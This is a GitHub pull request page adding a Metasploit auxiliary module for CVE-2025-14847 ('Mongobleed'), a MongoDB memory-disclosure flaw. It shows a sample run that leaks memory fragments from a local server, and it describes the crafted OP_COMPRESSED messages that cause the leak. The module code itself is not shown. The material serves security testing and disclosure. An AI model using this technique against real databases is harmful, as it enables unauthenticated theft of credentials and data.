-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Add MongoDB memory disclosure module (CVE-2025-14847) #20833
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
+810
−0
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dledda-r7
reviewed
Dec 30, 2025
Co-authored-by: Diego Ledda <[email protected]>
dledda-r7
approved these changes
Dec 30, 2025
Contributor
dledda-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
[!] 127.0.0.1:27017 - Could not determine MongoDB version
[*] 127.0.0.1:27017 - Proceeding with exploitation attempt...
[*] 127.0.0.1:27017 - Scanning 8173 offsets (20-8192, step=1)
[+] 127.0.0.1:27017 - offset=393 len=315 : 144 11 22 26 0 1 20 0 51 0 40356 3862147072 57685 18446744073709551615 94376708
[*] 127.0.0.1:27017 - Progress: 500/8173 (6.1%) - 5 leaks found - ETA: 15s
[*] 127.0.0.1:27017 - Progress: 1000/8173 (12.2%) - 11 leaks found - ETA: 14s
[*] 127.0.0.1:27017 - Progress: 1500/8173 (18.4%) - 13 leaks found - ETA: 13s
[*] 127.0.0.1:27017 - Progress: 2000/8173 (24.5%) - 19 leaks found - ETA: 12s
[+] 127.0.0.1:27017 - offset=2293 len=92 : x\u0010f\u0005\u0003BY\u00026\b...7.6_.$1\u0017.YD\u001asa\u0007 s.6X\u001aC.J.f
[*] 127.0.0.1:27017 - Progress: 2500/8173 (30.6%) - 21 leaks found - ETA: 11s
[*] 127.0.0.1:27017 - Progress: 3000/8173 (36.7%) - 21 leaks found - ETA: 10s
[*] 127.0.0.1:27017 - Progress: 3500/8173 (42.8%) - 21 leaks found - ETA: 9s
[*] 127.0.0.1:27017 - Progress: 4000/8173 (48.9%) - 23 leaks found - ETA: 8s
[*] 127.0.0.1:27017 - Progress: 4500/8173 (55.1%) - 23 leaks found - ETA: 7s
[*] 127.0.0.1:27017 - Progress: 5000/8173 (61.2%) - 23 leaks found - ETA: 6s
[*] 127.0.0.1:27017 - Progress: 5500/8173 (67.3%) - 23 leaks found - ETA: 5s
[*] 127.0.0.1:27017 - Progress: 6000/8173 (73.4%) - 23 leaks found - ETA: 4s
[*] 127.0.0.1:27017 - Progress: 6500/8173 (79.5%) - 24 leaks found - ETA: 3s
[+] 127.0.0.1:27017 - offset=6660 len=38 : requested with cache fill ratio < 25%
[*] 127.0.0.1:27017 - Progress: 7000/8173 (85.6%) - 26 leaks found - ETA: 2s
[*] 127.0.0.1:27017 - Progress: 7500/8173 (91.8%) - 26 leaks found - ETA: 1s
[*] 127.0.0.1:27017 - Progress: 8000/8173 (97.9%) - 26 leaks found - ETA: 0s
[+] 127.0.0.1:27017 - Total leaked: 514 bytes
[+] 127.0.0.1:27017 - Unique fragments: 26
[+] 127.0.0.1:27017 - Leaked data saved to: /home/j/.msf4/loot/20251230143158_default_127.0.0.1_mongodb.memory_l_080581.bin
[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) >
Contributor
Release NotesThis adds an auxiliary scanner module that exploits mongobleed (CVE-2025-14847) to dump memory from a live instance of the NoSQL database |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Summary
This PR adds a new auxiliary scanner module for CVE-2025-14847 (Mongobleed), a memory disclosure vulnerability in MongoDB's zlib decompression handling.
Vulnerability
By sending crafted
OP_COMPRESSEDmessages with inflated BSON document lengths, attackers can leak server memory contents without authentication. Leaked data may include credentials, session tokens, connection strings, and application data.Affected Versions
Per MongoDB JIRA SERVER-115508:
Features
Verification
Tested against several MongoDB versions.
Regular scan
Quick & Repeated scan
References